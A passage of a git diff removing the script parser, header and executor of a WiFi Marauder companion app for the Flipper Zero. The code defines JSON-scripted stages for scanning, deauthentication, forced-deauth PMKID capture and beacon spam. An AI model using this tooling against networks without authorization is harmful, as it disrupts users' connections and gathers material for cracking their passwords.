if(beaconap_stage_json == NULL) { - return NULL; - } - - cJSON* timeout_json = cJSON_GetObjectItem(beaconap_stage_json, "timeout"); - int timeout = timeout_json != NULL ? (int)cJSON_GetNumberValue(timeout_json) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_BEACON; - - WifiMarauderScriptStageBeaconAp* beacon_ap_stage = - (WifiMarauderScriptStageBeaconAp*)malloc(sizeof(WifiMarauderScriptStageBeaconAp)); - beacon_ap_stage->timeout = timeout; - - return beacon_ap_stage; -} - -WifiMarauderScriptStageExec* _wifi_marauder_script_get_stage_exec(cJSON* stages) { - cJSON* exec_stage_json = cJSON_GetObjectItem(stages, "exec"); - if(exec_stage_json == NULL) { - return NULL; - } - - cJSON* command_json = cJSON_GetObjectItemCaseSensitive(exec_stage_json, "command"); - char* command_str = cJSON_IsString(command_json) ? strdup(command_json->valuestring) : NULL; - - WifiMarauderScriptStageExec* exec_stage = - (WifiMarauderScriptStageExec*)malloc(sizeof(WifiMarauderScriptStageExec)); - exec_stage->command = command_str; - - return exec_stage; -} - -WifiMarauderScriptStageDelay* _wifi_marauder_script_get_stage_delay(cJSON* stages) { - cJSON* delay_stage_json = cJSON_GetObjectItem(stages, "delay"); - if(delay_stage_json == NULL) { - return NULL; - } - - cJSON* timeout_json = cJSON_GetObjectItem(delay_stage_json, "timeout"); - int timeout = timeout_json != NULL ? (int)cJSON_GetNumberValue(timeout_json) : 0; - - WifiMarauderScriptStageDelay* delay_stage = - (WifiMarauderScriptStageDelay*)malloc(sizeof(WifiMarauderScriptStageDelay)); - delay_stage->timeout = timeout; - - return delay_stage; -} - -WifiMarauderScriptStage* - _wifi_marauder_script_create_stage(WifiMarauderScriptStageType type, void* stage_data) { - WifiMarauderScriptStage* stage = - (WifiMarauderScriptStage*)malloc(sizeof(WifiMarauderScriptStage)); - stage->type = type; - stage->stage = stage_data; - stage->next_stage = NULL; - return stage; -} - -void wifi_marauder_script_add_stage( - WifiMarauderScript* script, - WifiMarauderScriptStageType stage_type, - void* stage_data) { - if(script == NULL || stage_data == NULL) { - return; - } - WifiMarauderScriptStage* stage = _wifi_marauder_script_create_stage(stage_type, stage_data); - if(script->last_stage != NULL) { - script->last_stage->next_stage = stage; - } else { - script->first_stage = stage; - } - script->last_stage = stage; -} - -void _wifi_marauder_script_load_stages(WifiMarauderScript* script, cJSON* stages) { - // Scan stage - wifi_marauder_script_add_stage( - script, WifiMarauderScriptStageTypeScan, _wifi_marauder_script_get_stage_scan(stages)); - // Select stage - wifi_marauder_script_add_stage( - script, WifiMarauderScriptStageTypeSelect, _wifi_marauder_script_get_stage_select(stages)); - // Deauth stage - wifi_marauder_script_add_stage( - script, WifiMarauderScriptStageTypeDeauth, _wifi_marauder_script_get_stage_deauth(stages)); - // Probe stage - wifi_marauder_script_add_stage( - script, WifiMarauderScriptStageTypeProbe, _wifi_marauder_script_get_stage_probe(stages)); - // Sniff raw stage - wifi_marauder_script_add_stage( - script, - WifiMarauderScriptStageTypeSniffRaw, - _wifi_marauder_script_get_stage_sniff_raw(stages)); - // Sniff beacon stage - wifi_marauder_script_add_stage( - script, - WifiMarauderScriptStageTypeSniffBeacon, - _wifi_marauder_script_get_stage_sniff_beacon(stages)); - // Sniff deauth stage - wifi_marauder_script_add_stage( - script, - WifiMarauderScriptStageTypeSniffDeauth, - _wifi_marauder_script_get_stage_sniff_deauth(stages)); - // Sniff esp stage - wifi_marauder_script_add_stage( - script, - WifiMarauderScriptStageTypeSniffEsp, - _wifi_marauder_script_get_stage_sniff_esp(stages)); - // Sniff PMKID stage - wifi_marauder_script_add_stage( - script, - WifiMarauderScriptStageTypeSniffPmkid, - _wifi_marauder_script_get_stage_sniff_pmkid(stages)); - // Sniff pwn stage - wifi_marauder_script_add_stage( - script, - WifiMarauderScriptStageTypeSniffPwn, - _wifi_marauder_script_get_stage_sniff_pwn(stages)); - // Beacon List stage - wifi_marauder_script_add_stage( - script, - WifiMarauderScriptStageTypeBeaconList, - _wifi_marauder_script_get_stage_beacon_list(stages)); - // Beacon Ap stage - wifi_marauder_script_add_stage( - script, - WifiMarauderScriptStageTypeBeaconAp, - _wifi_marauder_script_get_stage_beacon_ap(stages)); - // Exec stage - wifi_marauder_script_add_stage( - script, WifiMarauderScriptStageTypeExec, _wifi_marauder_script_get_stage_exec(stages)); - // Delay stage - wifi_marauder_script_add_stage( - script, WifiMarauderScriptStageTypeDelay, _wifi_marauder_script_get_stage_delay(stages)); -} - -WifiMarauderScript* wifi_marauder_script_parse_raw(const char* json_raw) { - WifiMarauderScript* script = wifi_marauder_script_alloc(); - if(script == NULL) { - return NULL; - } - cJSON* json = cJSON_Parse(json_raw); - if(json == NULL) { - return NULL; - } - cJSON* meta = cJSON_GetObjectItem(json, "meta"); - _wifi_marauder_script_load_meta(script, meta); - - cJSON* stages = cJSON_GetObjectItem(json, "stages"); - if(cJSON_IsArray(stages)) { - cJSON* stage_item = NULL; - cJSON_ArrayForEach(stage_item, stages) { - _wifi_marauder_script_load_stages(script, stage_item); - } - } else { - _wifi_marauder_script_load_stages(script, stages); - } - - return script; -} - -WifiMarauderScript* wifi_marauder_script_parse_json(Storage* storage, const char* file_path) { - WifiMarauderScript* script = NULL; - File* script_file = storage_file_alloc(storage); - FuriString* script_name = furi_string_alloc(); - path_extract_filename_no_ext(file_path, script_name); - - if(storage_file_open(script_file, file_path, FSAM_READ, FSOM_OPEN_EXISTING)) { - uint32_t file_size = storage_file_size(script_file); - char* json_buffer = (char*)malloc(file_size + 1); - uint16_t bytes_read = storage_file_read(script_file, json_buffer, file_size); - json_buffer[bytes_read] = '\0'; - - script = wifi_marauder_script_parse_raw(json_buffer); - } - if(script == NULL) { - script = wifi_marauder_script_create(furi_string_get_cstr(script_name)); - } - script->name = strdup(furi_string_get_cstr(script_name)); - - furi_string_free(script_name); - storage_file_close(script_file); - storage_file_free(script_file); - return script; -} - -cJSON* _wifi_marauder_script_create_json_meta(WifiMarauderScript* script) { - cJSON* meta_json = cJSON_CreateObject(); - if(script->description != NULL) { - cJSON_AddStringToObject(meta_json, "description", script->description); - } else { - cJSON_AddStringToObject(meta_json, "description", "My Script"); - } - if(script->enable_led != WifiMarauderScriptBooleanUndefined) { - cJSON_AddBoolToObject( - meta_json, "enableLed", (script->enable_led == WifiMarauderScriptBooleanTrue)); - } - if(script->save_pcap != WifiMarauderScriptBooleanUndefined) { - cJSON_AddBoolToObject( - meta_json, "savePcap", (script->save_pcap == WifiMarauderScriptBooleanTrue)); - } - cJSON_AddNumberToObject(meta_json, "repeat", script->repeat); - return meta_json; -} - -cJSON* _wifi_marauder_script_create_json_scan(WifiMarauderScriptStageScan* scan_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "scan", cJSON_CreateObject()); - cJSON* scan_json = cJSON_GetObjectItem(stage_json, "scan"); - // Scan type - cJSON_AddStringToObject( - scan_json, "type", scan_stage->type == WifiMarauderScriptScanTypeAp ? "ap" : "station"); - // Channel - if(scan_stage->channel > 0) { - cJSON_AddNumberToObject(scan_json, "channel", scan_stage->channel); - } - // Timeout - if(scan_stage->timeout > 0) { - cJSON_AddNumberToObject(scan_json, "timeout", scan_stage->timeout); - } - return stage_json; -} - -cJSON* _wifi_marauder_script_create_json_select(WifiMarauderScriptStageSelect* select_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "select", cJSON_CreateObject()); - cJSON* select_json = cJSON_GetObjectItem(stage_json, "select"); - // Select type - cJSON_AddStringToObject( - select_json, - "type", - select_stage->type == WifiMarauderScriptSelectTypeAp ? "ap" : - select_stage->type == WifiMarauderScriptSelectTypeStation ? "station" : - "ssid"); - if(select_stage->filter != NULL) { - cJSON_AddStringToObject(select_json, "filter", select_stage->filter); - } - // Indexes - if(select_stage->indexes != NULL && select_stage->index_count > 0) { - cJSON* indexes_json = cJSON_CreateArray(); - for(int i = 0; i < select_stage->index_count; i++) { - cJSON_AddItemToArray(indexes_json, cJSON_CreateNumber(select_stage->indexes[i])); - } - cJSON_AddItemToObject(select_json, "indexes", indexes_json); - } - return stage_json; -} - -cJSON* _wifi_marauder_script_create_json_deauth(WifiMarauderScriptStageDeauth* deauth_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "deauth", cJSON_CreateObject()); - cJSON* deauth_json = cJSON_GetObjectItem(stage_json, "deauth"); - // Timeout - if(deauth_stage->timeout > 0) { - cJSON_AddNumberToObject(deauth_json, "timeout", deauth_stage->timeout); - } - return stage_json; -} - -cJSON* _wifi_marauder_script_create_json_probe(WifiMarauderScriptStageProbe* probe_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "probe", cJSON_CreateObject()); - cJSON* probe_json = cJSON_GetObjectItem(stage_json, "probe"); - // Timeout - if(probe_stage->timeout > 0) { - cJSON_AddNumberToObject(probe_json, "timeout", probe_stage->timeout); - } - return stage_json; -} - -cJSON* - _wifi_marauder_script_create_json_sniffraw(WifiMarauderScriptStageSniffRaw* sniffraw_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "sniffRaw", cJSON_CreateObject()); - cJSON* sniffraw_json = cJSON_GetObjectItem(stage_json, "sniffRaw"); - // Timeout - if(sniffraw_stage->timeout > 0) { - cJSON_AddNumberToObject(sniffraw_json, "timeout", sniffraw_stage->timeout); - } - return stage_json; -} - -cJSON* _wifi_marauder_script_create_json_sniffbeacon( - WifiMarauderScriptStageSniffBeacon* sniffbeacon_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "sniffBeacon", cJSON_CreateObject()); - cJSON* sniffbeacon_json = cJSON_GetObjectItem(stage_json, "sniffBeacon"); - // Timeout - if(sniffbeacon_stage->timeout > 0) { - cJSON_AddNumberToObject(sniffbeacon_json, "timeout", sniffbeacon_stage->timeout); - } - return stage_json; -} - -cJSON* _wifi_marauder_script_create_json_sniffdeauth( - WifiMarauderScriptStageSniffDeauth* sniffdeauth_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "sniffDeauth", cJSON_CreateObject()); - cJSON* sniffdeauth_json = cJSON_GetObjectItem(stage_json, "sniffDeauth"); - // Timeout - if(sniffdeauth_stage->timeout > 0) { - cJSON_AddNumberToObject(sniffdeauth_json, "timeout", sniffdeauth_stage->timeout); - } - return stage_json; -} - -cJSON* - _wifi_marauder_script_create_json_sniffesp(WifiMarauderScriptStageSniffEsp* sniffesp_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "sniffEsp", cJSON_CreateObject()); - cJSON* sniffesp_json = cJSON_GetObjectItem(stage_json, "sniffEsp"); - // Timeout - if(sniffesp_stage->timeout > 0) { - cJSON_AddNumberToObject(sniffesp_json, "timeout", sniffesp_stage->timeout); - } - return stage_json; -} - -cJSON* _wifi_marauder_script_create_json_sniffpmkid( - WifiMarauderScriptStageSniffPmkid* sniffpmkid_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "sniffPmkid", cJSON_CreateObject()); - cJSON* sniffpmkid_json = cJSON_GetObjectItem(stage_json, "sniffPmkid"); - // Force deauth - cJSON_AddBoolToObject(sniffpmkid_json, "forceDeauth", sniffpmkid_stage->force_deauth); - // Channel - if(sniffpmkid_stage->channel > 0) { - cJSON_AddNumberToObject(sniffpmkid_json, "channel", sniffpmkid_stage->channel); - } - // Timeout - if(sniffpmkid_stage->timeout > 0) { - cJSON_AddNumberToObject(sniffpmkid_json, "timeout", sniffpmkid_stage->timeout); - } - return stage_json; -} - -cJSON* - _wifi_marauder_script_create_json_sniffpwn(WifiMarauderScriptStageSniffPwn* sniffpwn_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "sniffPwn", cJSON_CreateObject()); - cJSON* sniffpwn_json = cJSON_GetObjectItem(stage_json, "sniffPwn"); - // Timeout - if(sniffpwn_stage->timeout > 0) { - cJSON_AddNumberToObject(sniffpwn_json, "timeout", sniffpwn_stage->timeout); - } - return stage_json; -} - -cJSON* _wifi_marauder_script_create_json_beaconlist( - WifiMarauderScriptStageBeaconList* beaconlist_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "beaconList", cJSON_CreateObject()); - cJSON* beaconlist_json = cJSON_GetObjectItem(stage_json, "beaconList"); - // SSIDs - if(beaconlist_stage->ssids != NULL) { - cJSON* ssids_json = cJSON_CreateStringArray( - (const char**)beaconlist_stage->ssids, beaconlist_stage->ssid_count); - cJSON_AddItemToObject(beaconlist_json, "ssids", ssids_json); - } - // Random SSIDs - if(beaconlist_stage->random_ssids > 0) { - cJSON_AddNumberToObject(beaconlist_json, "generate", beaconlist_stage->random_ssids); - } - // Timeout - if(beaconlist_stage->timeout > 0) { - cJSON_AddNumberToObject(beaconlist_json, "timeout", beaconlist_stage->timeout); - } - return stage_json; -} - -cJSON* - _wifi_marauder_script_create_json_beaconap(WifiMarauderScriptStageBeaconAp* beaconap_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "beaconAp", cJSON_CreateObject()); - cJSON* beaconap_json = cJSON_GetObjectItem(stage_json, "beaconAp"); - // Timeout - if(beaconap_stage->timeout > 0) { - cJSON_AddNumberToObject(beaconap_json, "timeout", beaconap_stage->timeout); - } - return stage_json; -} - -cJSON* _wifi_marauder_script_create_json_exec(WifiMarauderScriptStageExec* exec_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "exec", cJSON_CreateObject()); - cJSON* exec_json = cJSON_GetObjectItem(stage_json, "exec"); - // Command - cJSON_AddStringToObject( - exec_json, "command", exec_stage->command != NULL ? exec_stage->command : ""); - return stage_json; -} - -cJSON* _wifi_marauder_script_create_json_delay(WifiMarauderScriptStageDelay* delay_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "delay", cJSON_CreateObject()); - cJSON* delay_json = cJSON_GetObjectItem(stage_json, "delay"); - // Timeout - if(delay_stage->timeout > 0) { - cJSON_AddNumberToObject(delay_json, "timeout", delay_stage->timeout); - } - return stage_json; -} - -void wifi_marauder_script_save_json( - Storage* storage, - const char* file_path, - WifiMarauderScript* script) { - File* script_file = storage_file_alloc(storage); - - if(storage_file_open(script_file, file_path, FSAM_WRITE, FSOM_CREATE_ALWAYS)) { - cJSON* root_json = cJSON_CreateObject(); - - // Meta info - cJSON* meta_json = _wifi_marauder_script_create_json_meta(script); - cJSON_AddItemToObject(root_json, "meta", meta_json); - - // Create array for stages - cJSON* stages_array = cJSON_CreateArray(); - cJSON_AddItemToObject(root_json, "stages", stages_array); - - // Iterate over each stage and create the corresponding JSON object - WifiMarauderScriptStage* stage = script->first_stage; - while(stage != NULL) { - cJSON* stage_json = NULL; - - switch(stage->type) { - case WifiMarauderScriptStageTypeScan: { - WifiMarauderScriptStageScan* scan_stage = - (WifiMarauderScriptStageScan*)stage->stage; - stage_json = _wifi_marauder_script_create_json_scan(scan_stage); - break; - } - case WifiMarauderScriptStageTypeSelect: { - WifiMarauderScriptStageSelect* select_stage = - (WifiMarauderScriptStageSelect*)stage->stage; - stage_json = _wifi_marauder_script_create_json_select(select_stage); - break; - } - case WifiMarauderScriptStageTypeDeauth: { - WifiMarauderScriptStageDeauth* deauth_stage = - (WifiMarauderScriptStageDeauth*)stage->stage; - stage_json = _wifi_marauder_script_create_json_deauth(deauth_stage); - break; - } - case WifiMarauderScriptStageTypeProbe: { - WifiMarauderScriptStageProbe* probe_stage = - (WifiMarauderScriptStageProbe*)stage->stage; - stage_json = _wifi_marauder_script_create_json_probe(probe_stage); - break; - } - case WifiMarauderScriptStageTypeSniffRaw: { - WifiMarauderScriptStageSniffRaw* sniffraw_stage = - (WifiMarauderScriptStageSniffRaw*)stage->stage; - stage_json = _wifi_marauder_script_create_json_sniffraw(sniffraw_stage); - break; - } - case WifiMarauderScriptStageTypeSniffBeacon: { - WifiMarauderScriptStageSniffBeacon* sniffbeacon_stage = - (WifiMarauderScriptStageSniffBeacon*)stage->stage; - stage_json = _wifi_marauder_script_create_json_sniffbeacon(sniffbeacon_stage); - break; - } - case WifiMarauderScriptStageTypeSniffDeauth: { - WifiMarauderScriptStageSniffDeauth* sniffdeauth_stage = - (WifiMarauderScriptStageSniffDeauth*)stage->stage; - stage_json = _wifi_marauder_script_create_json_sniffdeauth(sniffdeauth_stage); - break; - } - case WifiMarauderScriptStageTypeSniffEsp: { - WifiMarauderScriptStageSniffEsp* sniffesp_stage = - (WifiMarauderScriptStageSniffEsp*)stage->stage; - stage_json = _wifi_marauder_script_create_json_sniffesp(sniffesp_stage); - break; - } - case WifiMarauderScriptStageTypeSniffPmkid: { - WifiMarauderScriptStageSniffPmkid* sniffpmkid_stage = - (WifiMarauderScriptStageSniffPmkid*)stage->stage; - stage_json = _wifi_marauder_script_create_json_sniffpmkid(sniffpmkid_stage); - break; - } - case WifiMarauderScriptStageTypeSniffPwn: { - WifiMarauderScriptStageSniffPwn* sniffpwn_stage = - (WifiMarauderScriptStageSniffPwn*)stage->stage; - stage_json = _wifi_marauder_script_create_json_sniffpwn(sniffpwn_stage); - break; - } - case WifiMarauderScriptStageTypeBeaconList: { - WifiMarauderScriptStageBeaconList* beaconlist_stage = - (WifiMarauderScriptStageBeaconList*)stage->stage; - stage_json = _wifi_marauder_script_create_json_beaconlist(beaconlist_stage); - break; - } - case WifiMarauderScriptStageTypeBeaconAp: { - WifiMarauderScriptStageBeaconAp* beaconap_stage = - (WifiMarauderScriptStageBeaconAp*)stage->stage; - stage_json = _wifi_marauder_script_create_json_beaconap(beaconap_stage); - break; - } - case WifiMarauderScriptStageTypeExec: { - WifiMarauderScriptStageExec* exec_stage = - (WifiMarauderScriptStageExec*)stage->stage; - stage_json = _wifi_marauder_script_create_json_exec(exec_stage); - break; - } - case WifiMarauderScriptStageTypeDelay: { - WifiMarauderScriptStageDelay* delay_stage = - (WifiMarauderScriptStageDelay*)stage->stage; - stage_json = _wifi_marauder_script_create_json_delay(delay_stage); - break; - } - } - - // Add the stage JSON object to the "stages" array - if(stage_json != NULL) { - cJSON_AddItemToArray(stages_array, stage_json); - } - - stage = stage->next_stage; - } - - // Write JSON to file - char* json_str = cJSON_Print(root_json); - storage_file_write(script_file, json_str, strlen(json_str)); - - //free(json_str); - storage_file_close(script_file); - } - storage_file_free(script_file); -} - -bool wifi_marauder_script_has_stage( - WifiMarauderScript* script, - WifiMarauderScriptStageType stage_type) { - if(script == NULL) { - return false; - } - WifiMarauderScriptStage* current_stage = script->first_stage; - while(current_stage != NULL) { - if(current_stage->type == stage_type) { - return true; - } - current_stage = current_stage->next_stage; - } - return false; -} - -void wifi_marauder_script_free(WifiMarauderScript* script) { - if(script == NULL) { - return; - } - WifiMarauderScriptStage* current_stage = script->first_stage; - while(current_stage != NULL) { - WifiMarauderScriptStage* next_stage = current_stage->next_stage; - switch(current_stage->type) { - case WifiMarauderScriptStageTypeScan: - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeSelect: - if(((WifiMarauderScriptStageSelect*)current_stage->stage)->filter != NULL) { - free(((WifiMarauderScriptStageSelect*)current_stage->stage)->filter); - } - if(((WifiMarauderScriptStageSelect*)current_stage->stage)->indexes != NULL) { - free(((WifiMarauderScriptStageSelect*)current_stage->stage)->indexes); - } - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeDeauth: - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeProbe: - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeSniffRaw: - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeSniffBeacon: - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeSniffDeauth: - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeSniffEsp: - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeSniffPmkid: - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeSniffPwn: - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeBeaconList: - for(int i = 0; - i < ((WifiMarauderScriptStageBeaconList*)current_stage->stage)->ssid_count; - i++) { - free(((WifiMarauderScriptStageBeaconList*)current_stage->stage)->ssids[i]); - } - free(((WifiMarauderScriptStageBeaconList*)current_stage->stage)->ssids); - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeBeaconAp: - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeExec: - if(((WifiMarauderScriptStageExec*)current_stage->stage)->command != NULL) { - free(((WifiMarauderScriptStageExec*)current_stage->stage)->command); - } - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeDelay: - free(current_stage->stage); - break; - } - free(current_stage); - current_stage = next_stage; - } - free(script->name); - free(script->description); - free(script); -} \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/script/wifi_marauder_script.h b/applications/external/wifi_marauder_companion/script/wifi_marauder_script.h deleted file mode 100644 index e11ee267f..000000000 --- a/applications/external/wifi_marauder_companion/script/wifi_marauder_script.h +++ /dev/null @@ -1,257 +0,0 @@ -/* - * ---------------------------------------------------------------------------------------------------- - * STEPS TO ADD A NEW STAGE: - * - * wifi_marauder_script.h - * - Complement WifiMarauderScriptStageType enum with new stage - * - Create struct WifiMarauderScriptStage???? for the new stage - * - * wifi_marauder_script.c - * - Change _wifi_marauder_script_load_stages() to load new stage - * - Change wifi_marauder_script_save_json() to support the new stage - * - Add case to free memory in wifi_marauder_script_free() - * - * wifi_marauder_script_executor.c - * - Create function "void _wifi_marauder_script_execute_????(WifiMarauderScriptStage????* stage)" - * - Add case in wifi_marauder_script_execute_stage() - * - * wifi_marauder_scene_script_edit.c - * - Add case in wifi_marauder_scene_script_edit_on_enter() - * - * wifi_marauder_scene_script_stage_add.c - * - Create stage creation function and add in wifi_marauder_scene_script_stage_add_on_enter() - * - * wifi_marauder_script_stage_menu_config.h - * - Add the new stage and implement its functions in a new file - * - * ---------------------------------------------------------------------------------------------------- - * SCRIPT SYNTAX (In order of execution): - * { - * "meta": { - * "description": "My script", - * "repeat": times the script will repeat (default 1), - * "enableLed": true (default) | false, - * "savePcap": true (default) | false - * }, - * "stages": { - * "scan": { - * "type": "ap" | "station", - * "timeout": seconds, - * "channel": 1-11 - * }, - * "select": { - * "type": "ap" | "station" | "ssid", - * "filter": "all" | "contains -f '{SSID fragment}' or equals '{SSID}' or ...", - * "indexes": [0, 1, 2, 3...], - * }, - * "deauth": { - * "timeout": seconds - * }, - * "probe": { - * "timeout": seconds - * }, - * "sniffRaw": { - * "timeout": seconds - * }, - * "sniffBeacon": { - * "timeout": seconds - * }, - * "sniffDeauth": { - * "timeout": seconds - * }, - * "sniffEsp": { - * "timeout": seconds - * }, - * "sniffPmkid": { - * "forceDeauth": true (default) | false, - * "channel": 1-11, - * "timeout": seconds - * }, - * "sniffPwn": { - * "timeout": seconds - * }, - * "beaconList": { - * "ssids": [ - * "SSID 1", - * "SSID 2", - * "SSID 3" - * ], - * "generate": number of random SSIDs that will be generated, - * "timeout": seconds - * } - * "beaconAp": { - * "timeout": seconds - * } - * "exec": { - * "command": Command (eg: "clearlist -a") - * } - * "delay": { - * "timeout": seconds - * } - * } - * } - * - * Note: It is possible to inform "stages" as an array, allowing ordering and repetition of stages of the same type: - * "stages": [ - * { - * "beaconList": { "ssids": ["SSID 1", "SSID 2"] } - * }, - * { - * "beaconList": { "generate": 4 } - * }, - * ] - * ---------------------------------------------------------------------------------------------------- - */ - -#pragma once - -#include -#include "cJSON.h" - -#define WIFI_MARAUDER_DEFAULT_TIMEOUT_SCAN 15 -#define WIFI_MARAUDER_DEFAULT_TIMEOUT_DEAUTH 30 -#define WIFI_MARAUDER_DEFAULT_TIMEOUT_PROBE 60 -#define WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF 60 -#define WIFI_MARAUDER_DEFAULT_TIMEOUT_BEACON 60 - -typedef enum { - WifiMarauderScriptBooleanFalse = 0, - WifiMarauderScriptBooleanTrue = 1, - WifiMarauderScriptBooleanUndefined = 2 -} WifiMarauderScriptBoolean; - -typedef enum { - WifiMarauderScriptStageTypeScan, - WifiMarauderScriptStageTypeSelect, - WifiMarauderScriptStageTypeDeauth, - WifiMarauderScriptStageTypeProbe, - WifiMarauderScriptStageTypeSniffRaw, - WifiMarauderScriptStageTypeSniffBeacon, - WifiMarauderScriptStageTypeSniffDeauth, - WifiMarauderScriptStageTypeSniffEsp, - WifiMarauderScriptStageTypeSniffPmkid, - WifiMarauderScriptStageTypeSniffPwn, - WifiMarauderScriptStageTypeBeaconList, - WifiMarauderScriptStageTypeBeaconAp, - WifiMarauderScriptStageTypeExec, - WifiMarauderScriptStageTypeDelay, -} WifiMarauderScriptStageType; - -typedef enum { - WifiMarauderScriptScanTypeAp = 0, - WifiMarauderScriptScanTypeStation = 1 -} WifiMarauderScriptScanType; - -typedef enum { - WifiMarauderScriptSelectTypeAp, - WifiMarauderScriptSelectTypeStation, - WifiMarauderScriptSelectTypeSsid -} WifiMarauderScriptSelectType; - -// Stages -typedef struct WifiMarauderScriptStage { - WifiMarauderScriptStageType type; - void* stage; - struct WifiMarauderScriptStage* next_stage; -} WifiMarauderScriptStage; - -typedef struct WifiMarauderScriptStageScan { - WifiMarauderScriptScanType type; - int channel; - int timeout; -} WifiMarauderScriptStageScan; - -typedef struct WifiMarauderScriptStageSelect { - WifiMarauderScriptSelectType type; - char* filter; - int* indexes; - int index_count; - // TODO: Implement a feature to not select the same items in the next iteration of the script - bool allow_repeat; -} WifiMarauderScriptStageSelect; - -typedef struct WifiMarauderScriptStageDeauth { - int timeout; -} WifiMarauderScriptStageDeauth; - -typedef struct WifiMarauderScriptStageProbe { - int timeout; -} WifiMarauderScriptStageProbe; - -typedef struct WifiMarauderScriptStageSniffRaw { - int timeout; -} WifiMarauderScriptStageSniffRaw; - -typedef struct WifiMarauderScriptStageSniffBeacon { - int timeout; -} WifiMarauderScriptStageSniffBeacon; - -typedef struct WifiMarauderScriptStageSniffDeauth { - int timeout; -} WifiMarauderScriptStageSniffDeauth; - -typedef struct WifiMarauderScriptStageSniffEsp { - int timeout; -} WifiMarauderScriptStageSniffEsp; - -typedef struct WifiMarauderScriptStageSniffPmkid { - bool force_deauth; - int channel; - int timeout; -} WifiMarauderScriptStageSniffPmkid; - -typedef struct WifiMarauderScriptStageSniffPwn { - int timeout; -} WifiMarauderScriptStageSniffPwn; - -typedef struct WifiMarauderScriptStageBeaconList { - char** ssids; - int ssid_count; - int random_ssids; - int timeout; -} WifiMarauderScriptStageBeaconList; - -typedef struct WifiMarauderScriptStageBeaconAp { - int timeout; -} WifiMarauderScriptStageBeaconAp; - -typedef struct WifiMarauderScriptStageExec { - char* command; -} WifiMarauderScriptStageExec; - -typedef struct WifiMarauderScriptStageDelay { - int timeout; -} WifiMarauderScriptStageDelay; - -// Script -typedef struct WifiMarauderScript { - char* name; - char* description; - WifiMarauderScriptStage* first_stage; - WifiMarauderScriptStage* last_stage; - WifiMarauderScriptBoolean enable_led; - WifiMarauderScriptBoolean save_pcap; - int repeat; -} WifiMarauderScript; - -typedef struct WifiMarauderScriptStageListItem { - char* value; - struct WifiMarauderScriptStageListItem* next_item; -} WifiMarauderScriptStageListItem; - -WifiMarauderScript* wifi_marauder_script_alloc(); -WifiMarauderScript* wifi_marauder_script_create(const char* script_name); -WifiMarauderScript* wifi_marauder_script_parse_raw(const char* script_raw); -WifiMarauderScript* wifi_marauder_script_parse_json(Storage* storage, const char* file_path); -void wifi_marauder_script_save_json( - Storage* storage, - const char* file_path, - WifiMarauderScript* script); -void wifi_marauder_script_add_stage( - WifiMarauderScript* script, - WifiMarauderScriptStageType stage_type, - void* stage_data); -bool wifi_marauder_script_has_stage( - WifiMarauderScript* script, - WifiMarauderScriptStageType stage_type); -void wifi_marauder_script_free(WifiMarauderScript* script); diff --git a/applications/external/wifi_marauder_companion/script/wifi_marauder_script_executor.c b/applications/external/wifi_marauder_companion/script/wifi_marauder_script_executor.c deleted file mode 100644 index d7799c300..000000000 --- a/applications/external/wifi_marauder_companion/script/wifi_marauder_script_executor.c +++ /dev/null @@ -1,307 +0,0 @@ -#include "../wifi_marauder_app_i.h" -#include "wifi_marauder_script_executor.h" - -void _wifi_marauder_script_delay(WifiMarauderScriptWorker* worker, uint32_t delay_secs) { - for(uint32_t i = 0; i < delay_secs && worker->is_running; i++) furi_delay_ms(1000); -} - -void _send_stop() { - const char stop_command[] = "stopscan\n"; - wifi_marauder_uart_tx((uint8_t*)(stop_command), strlen(stop_command)); -} - -void _send_line_break() { - wifi_marauder_uart_tx((uint8_t*)("\n"), 1); -} - -void _send_channel_select(int channel) { - char command[30]; - wifi_marauder_uart_tx((uint8_t*)("\n"), 1); - snprintf(command, sizeof(command), "channel -s %d\n", channel); - wifi_marauder_uart_tx((uint8_t*)(command), strlen(command)); -} - -void _wifi_marauder_script_execute_scan( - WifiMarauderScriptStageScan* stage, - WifiMarauderScriptWorker* worker) { - char command[15]; - // Set channel - if(stage->channel > 0) { - _send_channel_select(stage->channel); - } - // Start scan - if(stage->type == WifiMarauderScriptScanTypeAp) { - snprintf(command, sizeof(command), "scanap\n"); - } else { - snprintf(command, sizeof(command), "scansta\n"); - } - wifi_marauder_uart_tx((uint8_t*)(command), strlen(command)); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); -} - -void _wifi_marauder_script_execute_select(WifiMarauderScriptStageSelect* stage) { - const char* select_type = NULL; - switch(stage->type) { - case WifiMarauderScriptSelectTypeAp: - select_type = "-a"; - break; - case WifiMarauderScriptSelectTypeStation: - select_type = "-c"; 